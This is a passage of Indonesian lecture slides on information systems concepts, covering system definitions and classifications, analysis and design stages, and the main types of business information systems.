3.  Integritas, semua subsistem CBIS harus menyediakan gambaran akurat dari sistem fisik yang diwakilinya.
Pengendalian Akses ; dicapai melalui suatu proses 3 langkah, yang mencakup :
1.  Indentifikasi User.
2.  Pembuktian Keaslian User.
3.  Otorisasi User.

Strategi Pengulangan Biaya Manajemen Informasi
Strategi yang paling banyak dimanfaatkan adalah :
1.  Strategi Konsolidasi, dapat diikuti dengan mengurangi jumlah lokasi sumber daya informasi yang terpisah. Alasannya adalah sejumlah kecil pemusatan sumber daya yang besar dapat beroperasi lebih efisien dari pada banyak pemusatan sumber daya yang kecil.
2.  Downsizing, adalah transfer berbagai aplikasi berbasis komputer perusahaan dari konfigurasi peralatan besar, seperti mainframe ke platform yang lebih kecil seperti komputer mini. Dalam beberapa kasus, platform yang lebih kecil tetap berada dalam IS, dan dalam kasus lain ditempatkan di area pemakai. Pemindahan ke sistem yang kurang mahal tetapi penuh daya ini disebut Smartsizing. Keuntungan downsizing : sistem yang user friendly.
3.  Outsourcing, ukuran pemotongan biaya yang dapat berdampak lebih besar bagi IS dari pada downsizing adalah outsourcing. Outsourcing adalah mengkontrakkan keluar semua atau sebagian operasi komputer perusahaan kepada organisasi jasa di luar perusahaan.
Jasa-jasa yang ditawarkan Outsourcers mencakup :
-  Entry data dan pengolahan sederhana.
-  Kontrak pemrograman.
-  Manajemen fasilitas, operasi lengkap dari suatu pusat komputer.
-  Integrasi sistem, adalah kinerja semua tugas-tugas siklus hidup pengembangan sistem.
-  Dukungan operasi untuk pemeliharaan, pelayanan atau pemulihan dari bencana.

konsep sistem informasi lanjut

KONSEP SISTEM
INFORMASI

KONSEP SISTEM
INFORMASI LANJUT

Konsep Sistem Informasi Lanjut

DEFINISI SISTEM

LUDWIG VON BARTALANFY.





Sistem merupakan seperangkat unsur yang saling
terikat dalam suatu antar relasi diantara unsur-unsur
tersebut dengan lingkungan.

ANATOL RAPOROT.



 Sistem

adalah suatu kumpulan kesatuan dan
perangkat hubungan satu sama lain.

L. ACKOF.



 Sistem

adalah setiap kesatuan secara konseptual
atau fisik yang terdiri dari bagian-bagian dalam
keadaan saling tergantung satu sama lainnya.

Konsep Sistem Informasi Lanjut

Syarat -syarat system

Sistem harus dibentuk untuk menyelesaikan
tujuan.
Elemen sistem harus mempunyai rencana
yang ditetapkan.
Adanya hubungan diantara elemen sistem.
Unsur dasar dari proses (arus informasi, energi
dan material) lebih penting dari pada elemen
sistem.
Tujuan organisasi lebih penting dari pada
tujuan elemen.

1.

2.

3.

4.

5.

Konsep Sistem Informasi Lanjut

SECARA GARIS BESAR, SISTEM
DAPAT DIBAGI 2

a. SISTEM FISIK ( PHYSICAL SYSTEM ):



Kumpulan elemen-elemen/ unsur-unsur yang saling berinteraksi
satu sama lain secara fisik serta dapat diidentifikasikan secara
nyata tujuan - tujuannya.
Contoh :

Sistem transportasi, elemen : petugas, mesin, organisasi yang
menjalankan transportasi.
Sistem Komputer, elemen : peralatan yang berfungsi bersama-
sama untuk menjalankan pengolahan data.





b. SISTEM ABSTRAK ( ABSTRACT SYSTEM):



Sistem yang dibentuk akibat terselenggaranya ketergantungan
ide, dan tidak dapat diidentifikasikan secara nyata, tetapi dapat
diuraikan elemennnya.

Contoh : Sistem Teologi, hubungan antara manusia dengan Tuhan.

Konsep Sistem Informasi Lanjut

KLASIFIKASI SISTEM

A. DETERMINISTIK SISTEM.



Sistem dimana operasi-operasi (input/output) yang terjadi didalamnya
dapat ditentukan/ diketahui dengan pasti.

Contoh :
 Program komputer, melaksanakan secara tepat sesuai dengan rangkaian
instruksinya.
 Sistem penggajian.

B. PROBABILISTIK SISTEM.



Sistem yang input dan prosesnya dapat didefinisikan, tetapi output yang
dihasilkan tidak dapat ditentukan dengan pasti; (Selalu ada sedikit
kesalahan/penyimpangan terhadap ramalan jalannya sistem).

Contoh :
- Sistem penilaian ujian
-
Sistem pemasaran.

Konsep Sistem Informasi Lanjut

KLASIFIKASI SISTEM (2)

C. OPEN SISTEM.

 Sistem

yang mengalami pertukaran energi, materi
atau informasi dengan
lingkungannya. Sistem ini cenderung memiliki sifat
adaptasi, dapat menyesuaikan
diri dengan lingkungannya sehingga dapat
meneruskan eksistensinya.
Contoh :

Sistem keorganisasian memiliki kemampuan adaptasi.
(Bisnis dalam menghadapi persaingan dari pasar yang
berubah. Perusahaan yang tidak dapat menyesuaikan diri
akan tersingkir)



Konsep Sistem Informasi Lanjut

KLASIFIKASI SISTEM (3)

D. CLOSED SISTEM.

 Sistem

fisik di mana proses yang terjadi tidak
mengalami pertukaran materi, energi atau
informasi dengan lingkungan di luar sistem
tersebut. Contoh : - reaksi kimia dalam tabung
berisolasi dan tertutup.

Konsep Sistem Informasi Lanjut

KLASIFIKASI SISTEM (4)

E. RELATIVELY CLOSED SISTEM.

 Sistem

yang tertutup tetapi tidak tertutup sama sekali
untuk menerima pengaruhpengaruh lain. Sistem ini
dalam operasinya dapat menerima pengaruh dari luar
yang sudah didefinisikan dalam batas-batas tertentu

Contoh :
 Sistem komputer. (Sistem ini hanya menerima masukan
yang telah ditentukan sebelumnya, mengolahnya dan
memberikan keluaran yang juga telah ditentukan
sebelumnya. tidak terpengaruh oleh gejolak di luar sistem).

Konsep Sistem Informasi Lanjut

KLASIFIKASI SISTEM (5)

F. ARTIFICIAL SISTEM.



Sistem yang meniru kejadian dalam alam. Sistem ini dibentuk
berdasarkan kejadian di alam di mana manusia tidak mampu
melakukannya. Dengan kata lain tiruan yang ada di alam.

Contoh :









Sistem AI, yaitu program komputer yang mampu membuat computer
seolah-olah berpikir.
Sistem robotika.
Jaringan neutral network.

G. NATURAL SISTEM.



Sistem yang dibentuk dari kejadian dalam alam.
Contoh : - laut, pantai, atmosfer, tata surya dll.

Konsep Sistem Informasi Lanjut

KLASIFIKASI SISTEM (6)

H. MANNED SISTEM.
 Sistem penjelasan tingkah laku yang meliputi keikut
sertaan manusia. Sistem ini dapat digambarkan
dalam cara-cara sebagai berikut :
1. Sistem manusia-manusia.
 Sistem yang menitik beratkan hubungan antar
manusia.
2. Sistem manusia-mesin.
 Sistem yang mengikutsertakan mesin untuk
suatu tujuan.
3. Sistem mesin-mesin.

Konsep Sistem Informasi Lanjut

KLASIFIKASI SISTEM (7)

Sistem yang otomatis di mana manusia mempunyai
tugas untuk memulai dan mengakhiri sistem,
sementara itu manusia dilibatkan juga untuk memonitor
sistem.
Mesin berinteraksi dengan mesin untuk
melakukan beberapa aktifitas.
Pengotomatisan ini menjadikan bertambah pentingnya
konsep organisasi, dimana manusia dibebaskan dari
tugas-tugas rutin atau tugas-tugas fisik yang berat.





Konsep Sistem Informasi Lanjut

KLASIFIKASI SISTEM (8)

Perancang sistem lebih banyak menggunakan metode "
Relatively Closed dan Deterministik Sistem ", karena
sistem ini dalam pengerjaannya lebih mudah
meramalkan hasil yang akan diperoleh dan lebih mudah
diatur dan diawasi.
Contoh :





Pada bidang sistem informasi, faktor komputer dan program
computer biasanya " Relatively Closed dan Deterministik ", tetapi
faktor manusia sebagai pengelolanya adalah " Open dan
Probabilistik Sistem ".

Konsep Sistem Informasi Lanjut

METODE SISTEM.

A. BLACKBOX APPROACH
B. ANALITYC SISTEM.

Konsep Sistem Informasi Lanjut

BLACKBOX APPROACH

Suatu sistem dimana input dan outputnya dapat
didefinisikan tetapi prosesnya tidak diketahui
atau tidak terdefinisi.



 Metode

ini hanya dapat dimengerti oleh pihak dalam (
yang menangani ) sedangkan pihak luar hanya
mengetahui masukan dan hasilnya. Sistem ini
terdapat pada subsistem tingkat terendah.

Contoh : - bagian pencetakan uang, proses pencernaan.

Konsep Sistem Informasi Lanjut

BLACKBOX APPROACH

Konsep Sistem Informasi Lanjut

ANALITYC SISTEM

Suatu metode yang mencoba untuk melihat
hubungan seluruh masalah untuk menyelidiki
kesistematisan tujuan dari sistem yang tidak
efektif dan evaluasi pilihan dalam bentuk ketidak
efektifan dan biaya.
Dalam metode ini beberapa langkah diberikan
seperti di bawah ini : aa. menentukan





a. identitas dari sistem.

sistem apa yang diterapkan.
batasannya.
apa yang dilaksanakan sistem tersebut.

-

-

-

Konsep Sistem Informasi Lanjut

ANALITYC SISTEM

b. menentukan tujuan dari sistem.

output yang dihasilkan dari isi sistem.
fungsi dan tujuan yang diminta untuk mencoba
menanggulangi ingkungan.





c. bagian-bagian apa saja yg terdapat dalam sistem dan
apa tujuan dari masing-masing bagian tersebut.

tujuan masing-masing bagian sistem harus jelas.
cara apa yang digunakan subsistem untuk berhubungan
dengan subsistem lain.





d. bagaimana bagian-bagian yang ada dalam sistem
itu saling berhubungan menjadi satu kesatuan.

Konsep Sistem Informasi Lanjut

ANALISIS SISTEM

Analisis Sistem dapat didefinisikan sebagai :
“Penguraian dari suatu sistem informasi yang utuh ke
dalam bagianbagian komponennya dengan maksud
untuk mengidentifikasikan dan mengevaluasi
permasalahan-permasalahan, kesempatan-kesempatan,
hambatan-hambatan yang terjadi dan kebutuhan-
kebutuhan yang diharapkan sehingga dapat diusulkan
perbaikan-perbaikan”.
Tahap analisis merupakan tahap yang kritis dan sangat
penting, karena kesalahan di dalam tahap ini akan
menyebabkan juga kesalahan di tahap selanjutnya.







Konsep Sistem Informasi Lanjut

A. Langkah-langkah di Analisis Sistem :

 Langkah-langkah

di dalam tahap analisis
sistem hampir sama dengan
langkahlangkah yang dilakukan dalam
mendefinisikan proyek-proyek sistem yang
akan dikembangkan di tahap perencanaan
sistem. Perbedaannya pada analisis system
ruang lingkup tugasnya lebih terinci.

Konsep Sistem Informasi Lanjut

B. Didalam tahap analisis sistem terdapat langkah-
langkah dasar yang harus dilakukan oleh
Analis Sistem Yaitu sbb:
1. Identify,



Yaitu mengidentifikasikan masalah
- Mengindentifikasikan penyebab masalah
- Mengidentifikasikan titik keputusan
- Mengidentifikasikan personil-personil kunci

Konsep Sistem Informasi Lanjut

Understand,

2.

Yaitu memahami kerja dari sistem yang ada
 Menentukan jenis penelitian
 Merencanakan jadual penelitian
 Mengatur jadual wawancara
 Mengatur jadual observasi
 Mengatur jadual pengambilan sampel
 Membuat penugasan penelitian
 Membuat agenda wawancara
 Mengumpulkan hasil penelitian

Konsep Sistem Informasi Lanjut

Analyze, Yaitu Menganalis Sistem

3.




Report, Yaitu membuat laporan hasil analisis
Tujuan :

4.

Menganalisis kelemahan Sistem
Menganalisis kebutuhan Informasi pemakai / manajemen

Pelaporan bahwa analisis telah selesai dilakukan
Meluruskan kesalah-pengertian mengenai apa yang telah
ditemukan dan dianalisis oleh analis sistem tetapi tidak sesuai
menurut manajemen - Meminta pendapat-pendapat dan saran-
saran dari pihak manajemen
 Meminta persetujuan kepada pihak manajemen untuk
melakukan tindakan selanjutnya




Konsep Sistem Informasi Lanjut

PERANCANGAN SISTEM (2)

Setelah tahap analisis sistem selesai
dilakukan, maka analis sistem telah
mendapatkan gambaran dengan jelas apa
yang harus dikerjakan. Tiba waktunya
sekarang bagi analis sistem untuk
memikirkan bagaimana membentuk
system tersebut. Tahap ini disebut dengan
perancangan sistem .



Konsep Sistem Informasi Lanjut

PERANCANGAN SISTEM (3)

A. Perancangan sistem dapat dibagi dalam
dua bagian yaitu :

Perancangan sistem sec.umum /
perancangan konseptual, perancangan
logikal/perancangan sec.makro
2. Perancangan sistem terinci / perancangan
sistem secara phisik.

1.

Konsep Sistem Informasi Lanjut

PERANCANGAN SISTEM (4)

B. Perancangan sistem dapat diartikan sebagai berikut ini :

1.

2.

3.

4.

5.

6.

Tahap setelah analisis dari siklus pengembangan sistem
Pendefinisian dari kebutuhan-kebutuhan fungsional
Persiapan untuk rancang bangun implementasi
Menggambarkan bagaimana suatu sistem dibentuk
Yang dapat berupa penggambaran, perencanaan dan
pembuatan sketsa atau pengaturan dari beberapa elemen yang
terpisah ke dalam satu kesalahan yang utuh dan berfungsi
Termasuk menyangkut mengkonfigurasikan dari komponen-
komponen perangkat lunak dan perangkat keras dari suatu
system

Konsep Sistem Informasi Lanjut

PERANCANGAN SISTEM (4)

C. Tahap perancangan sistem mempunyai 2
tujuan utama yaitu :

1.

2.

Untuk memenuhi kebutuhan kepada
pemakai sistem
Untuk memberikan gambaran yang jelas
dan rancang bangun yang lengkap kepada
pemrogram komputer dan ahli-ahli teknik
lainnya yang terlibat.

Konsep Sistem Informasi Lanjut

PERANCANGAN SISTEM (5)

D. Perancangan sistem secara umum



Tujuan dari desain sistem secara umum adalah untuk memberikan
gambaran secara umum kepada user tentang sistem yang baru.
Desain system secara umum merupakan persiapan dari desain
secara terinci. Desain secara umum mengidentifikasikan
komponen-komponen sistim informasi yang akan didesain secara
rinci. Desain terinci dimaksudkan untuk pemrogram computer dan
ahli teknik lainnya yang akan mengimplementasi sistem. Tahap desain
sistem secara umum dilakukan setelah tahap analisis sistem selesai
dilakukan dan hasil analisis disetujui oleh manajemen.



Pada tahap desain secara umum, komponen-komponen sistem
informasi dirancang dengan tujuan untuk dikomunikasi kepada user
bukan untuk pemrogram. Komponen sistem informasi yang didesain
adalah model, output, input, database, teknologi dan kontrol.

Konsep Sistem Informasi Lanjut

Komponen Sistem Informasi

Input
 Model
 Output
 Teknologi
 Basis Data
 Pengendalian



Konsep Sistem Informasi Lanjut

TIPE UTAMA SISTEM

TRANSACTION PROCESSING SYSTEMS (TPS)
KNOWLEDGE WORK SYSTEMS (KWS)
OFFICE AUTOMATION SYSTEMS (OAS)
MANAGEMENT INFORMATION SYSTEMS (MIS)
DECISION SUPPORT SYSTEMS (DSS)
EXECUTIVE SUPPORT SYSTEMS (ESS)













Konsep Sistem Informasi Lanjut